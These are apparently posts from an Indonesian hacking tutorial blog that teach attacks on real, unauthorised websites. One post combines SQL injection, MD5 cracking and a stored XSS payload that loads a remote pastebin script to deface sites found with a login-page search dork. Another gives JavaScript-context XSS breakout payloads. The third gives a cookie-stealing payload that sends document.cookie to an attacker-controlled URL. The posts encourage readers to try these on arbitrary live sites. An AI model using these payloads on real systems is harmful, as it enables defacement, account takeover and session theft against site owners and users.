skip to main | skip to sidebar
Showing posts with label Cross Site Scripting. Show all posts
Showing posts with label Cross Site Scripting. Show all posts

Wednesday, 3 July 2019

Deface Website dengan XSS dan SQLi

0 comments
Pada materi sebelumnya sudah dijelaskan mengenai XSS dan juga SQL Injection. Sekarang kita gunakan dua metode tersebut untuk mendeface sebuah website. Biasanya setelah kita login sebagai admin terkadang panel adminnya mempunyai fitur yang sangat terbatas seperti contoh menambahkan berita, galeri dan informasi yang lain. Sekarang kita akan mendeface website dengan dua metode tersebut. SQL Injection digunakan untuk melihat akun admin dan XSS digunakan untuk mengubah tampilan website.



Seperti biasa saya tidak akan memberikan target tertentu. Untuk mencari website-website yang memiliki form login bisa gunakan dork ini.

inurl: login

Tutorial SQL Injection kalian bisa kunjungi materi SQL Injection dan untuk XSS bisa kunjungi materi XSS yang sudah tersedia. Kalau kalian sudah berhasil menemukan username dan password admin, cek terlebih dahulu apakah passwordnya terenkripsi atau tidak, biasanya password di enkripsi dengan MD5. Password yang di enkripsi MD5 bisa kalian dekripsi dengan tools yang beredar di internet salah satunya adalah MD5 Online.

Masukan password yang terenkripsi ke kalam kotak yang disediakan kan klik tombol Decrypt, tunggu hingga proses nya selesai.

Biasanya website terdapat berita atau informasi lain yang dimunculkan di halaman utama website. Nah, itu akan kita jadikan sebagai target deface website tanpa mengubah file indexnya.


Setelah kalian masuk ke panel Admin kalian bisa mengganti atau menambahkan berita dengan disisipkan script deface. Kalian bisa menggunakan script deface dari saya. Masukan payload XSS ke judul berita.

Payload : <script type="text/javascript" src="https://pastebin.com/raw/xqcAm4nU">

Simpan beritanya dan kunjungi halaman utama website. Jika berhasil website akan berganti tampilan.


Jika ada yang belum dimengerti silahkan tulis dikolom komentar atau kirim pesan pada kontak yang tersedia. Sekian untuk materi kali ini, semoga bermanfaat dan sampai jumpa pada materi berikutnya.

Monday, 1 July 2019

Kerentanan Kode Javascript - Kasus XSS

0 comments
Sebelumnya sudah dijelaskan tentang Cross Site Scripting ( XSS ). Yang menjadi permasalah adalah bagaimana jika payload yang ada di materi kemarin tidak bekerja tetapi payload ter-reflected ke dalam salah satu script atau function didalam Javascript. Memang ada beberapa website yang masing kurang diperhatikan didalam function atau variable didalam kode Javascript.


Untuk kali ini akan dijelaskan secara singkat saja. Kita perlu tau terlebih dahulu dimana letak payloadnya berada. Didalam variable String, Array, diapit tanda petik tunggal atau diapit tanda petik ganda. Akan kita bahas satupersatu. Hal yang perlu diperhatikan sebenarnya adalah format dari nilai yang menampung payload, perhatikan contoh berikut :

Payload Diapit dengan Petik Tunggal
Permasalahan pertama Payload yang berada di kode javascript diapit oleh petik tunggal.

<script>
     var abc = 'Anda mencari dengan kata kunci {PAYLOAD}';
</script>

Jika menemui permasalahan seperti tersebut kita tidak bisa menggunakan payload yang mengandung HTML. Kita harus langsung menggunakan payload Javascript. Karena diapit petik tunggal kita gunakan payload seperti ini :

Payload : ';alert('Belajar XSS');var z='test

Yang terjadi jika payload ini dimasukan kedalam kode Javascript adalah seperti ini, program Javascript akan termanipulasi. Dan website akan menampilkan dialog message karena fungsi alert().

<script>
     var abc = 'Anda mencari dengan kata kunci ';alert('Belajar XSS');var z='test';
</script>

Payload Diapit dengan Petik Ganda
Permasalah ini sama seperti permasalahan sebelumnya, namun perbedaan hanya di petiknya saja.

<script>
     var abc = "Anda mencari dengan kata kunci {PAYLOAD}";
</script>

 Gunakan peyload seperti berikut :

Payload : ";alert("Belajar XSS");var z="test

Payload Dimasukan Kedalam Array
Permasalahan yang terakhir adalah jika payload dimasukan kedalam sebuah array atau struktur tertentu.

<script>
     var abc = ["Rudi", "Budi", {PAYLOAD}];
</script>

Jika ada permasalahan seperti diatas kita ikuti strukturnya. Kita tahu kalau Array dan String jika memiliki nilai tidak valid maka program akan error. Kita buat payloadnya seperti ini :

Payload : ""];alert("Haha, Easy");var z=[

Jika payload tersebut dimasukan kedalam program tadi akan menjadi seperti ini :

<script>
     var abc = ["Rudi", "Budi", ""];alert("Haha, Easy");var z=[];
</script>

Jika ingin mengetahui lebih luas tentang list payload XSS kalian bisa mencarinya dengan kata kunci "all xss payloads". Mungkin segitu saja, sampai jumpa pada materi berikutnya.

Basic Cross Site Scripting ( XSS )

0 comments
Cross Site Scripting atau yang lebih dikenal dengan XSS adalah jenis serangan yang ditujukan kepada client. Cara kerja XSS adalah dengan memanipulasi tampilan sebuah website melalui kode HTML, CSS, dan Javascript. Penggunaan XSS harus disertai dengan Social Engineering. Seorang hacker harus mampu untuk meyakinkan pengguna agar mengunjungi atau mengeklik sebuah link atau tautan.


XSS dapat digunakan untuk mengambil cookie atau session user, cookie atau session digunakan untuk informasi pengguna saat login kedalam website yang mana akan tersimpan di dalam browser. Untuk menampilkan cookie dari user diperlukan sebuah perintah dari Javascript. Setelah mendapatkan cookie user, hacker bisa memanipulasi cookie yang ada di browsernya dengan cookie yang sudah didapatkan.

Selain untuk mendapatkan cookie, XSS juga bisa digabungkan dengan CSRF atau XSRF yang akan saya bahas pada materi berikutnya. Kelemahan website terhadap XSS biasanya banyak terletak pada kolom pencarian. Dalam hal ini saya tidak akan memberikan target website untuk contoh peretasan. Kalian dapat mencoba berbagai website online yang ada di internet. Untuk mencoba XSS kalian dapat menggunakan 1 akun saja untuk percobaan.

Sebelum itu perlu diketahui XSS terbagi menjadi 2 yaitu Reflected XSS dan Stored XSS.
Reflected XSS adalah keadaan dimana kode XSS diikutkan dengan sebuah url.

Url : https://target-peretasan.com/?p={KODE_XSS}

Kode XSS akan di eksekusi oleh website dan ditampilkan. Sedangkan untuk Stored XSS, kode XSS dimasukan kedalam database. Semisal ketika kita mengisi informasi data diri, kita bisa memasukan kode XSS. Dan ketika user membuka halaman profile kita, user akan ditampilan halaman profile beserta kode XSS yang sudah dimasukan.

Tampilan dari data URL yang ter-reflected ke dalam website. Untuk mencari kata kunci kalian bisa menggunakan inspect element.


Sekarang kita akan langsung menggunakan multiple payload XSS untuk mengecek kerentanan terlebih dahulu. Kita gunakan payload untuk kerentanan pada tag-tag HTML.

Payload : "><img src=x>

Masukan payload kedalam url sehingga urlnya menjadi seperti ini, lalu eksekusi atau enter.

Url : https://target-peretasan.com/?p="><img src=x>

Jika website memiliki kerentanan terhadap XSS, dengan payload di atas website akan menampilkan sebuah gambar dengan tampilan icon rusak karena source atau link gambar tidak valid.


Setelah ada kerentanan, kita bisa memanipulasi tampilan website dengan menggunakan kode HTML dan Javascript. Kalian bisa memanipulasi tampilan sesuka kalian, skill yang diperlukan memahami HTML dan CSS. Untuk sekarang kita akan menambahkan tombol untuk menampilkan cookie user dengan Javascript. Gunakan payload dibawah ini.

Payload : "><img src="x" onclick="alert(document.cookie)">

- alert, digunakan untuk menampilkan kotak dialog yang berisi pesan.
- document.cookie, digunakan untuk menampilkan cookie website yang ada di browser.
- onclick, adalah event dimana jika object di klik akan menjalankan kode javascript.

Contoh cookie yang diambil dari website.


Kalau payload itu tadi hanya menampilkan pada diri sendiri. Kita bisa menggunakan payload lain untuk menangkap cookie website dan disimpan kedalam database website kita sendiri. Contoh payload yang bisa digunakan.

Payload : "><img src="x" onclick="window.location='http://www.website-ku.com/savecookie.php?data='+encodeURIComponent(document.cookie)">

- encodeURIComponent, digunakan untuk mengencode symbol seperti, ? $ + = #.

Untuk penjelasan lebih jelas mengenai perintah seperti encodeURI, alert bisa dipelajari di W3Schools. Jika ada yang masih belum dimengerti silahkan tulis di kolom komentar atau bisa hubungi kontak yang tertera.